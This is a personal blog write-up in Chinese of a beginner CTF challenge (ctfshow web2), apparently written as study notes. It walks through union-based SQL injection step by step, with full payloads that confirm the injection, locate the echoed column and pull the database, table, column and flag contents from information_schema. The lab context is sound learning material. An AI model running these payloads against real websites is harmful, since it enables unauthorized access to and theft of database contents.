前言
写这个是因为。。。我想摆烂,就去从最简单的题开始做了,想着交一道题是一道嘛,总之觉得这样做很适合欺骗安慰自己(逃
然后我发现我错了,我第二道题就做了好久还没做出来,甚至最后去点开了hint……
ps:我也不知道为什么写的时候是英文的单引号但是预览和发表后就变了。。。如果有人复制粘贴的话记得改一下引号
题目
指的是这道题:
看见了吗,这是最简单的SQL注入啊喂!
解题步骤
1)根据我为数不多的经验,SQL注入拿到题先试试:
1’ or 1=1#
发现有回显(页面上多了个“欢迎你,ctfshow”),说明存在注入。
2)那就再试试:
1’ union select 1,2,3#
回显了2,说明2所在的位置可以用于将查询结果回显出来。
3)接下来就是:查数据库名->查表名->查列名
其实都是最最基础的东西但是我老是忘……所以在这再写一遍加深下印象吧(丢人
①查数据库名:
1’ union select 1,database(),3#
回显了web2,说明数据库名是web2。
②查表名:
1’ union select 1,(select table_name from information_schema.tables where table_schema=‘web2’ limit 0,1),3#
limit 0,1是显示查询结果中的第一条内容
上一步知道了数据库名是web2,所以继续去查有哪些table属于数据库web2,只显示第一条结果的话,得到的回显是flag,说明存在名字叫flag的表(所以就不去继续回显出其他的表名了)。
③查列名:
1’ union select 1,(select column_name from information_schema.columns where table_name=‘flag’ limit 0,1),3#
上一步知道了有一个叫flag的表,所以接下来就去查一查表里有哪些列,只显示第一条结果的话,得到的回显还是flag,说明flag表里有一列也叫flag(所以就不去继续回显出其他的列名了)。
④查内容:
1’ union select 1,(select flag from flag limit 0,1),3#
查一下flag表的flag列中有什么内容,最后放上一张图证明我真的做出来了(?
写这篇博客好像也属于摆烂行为(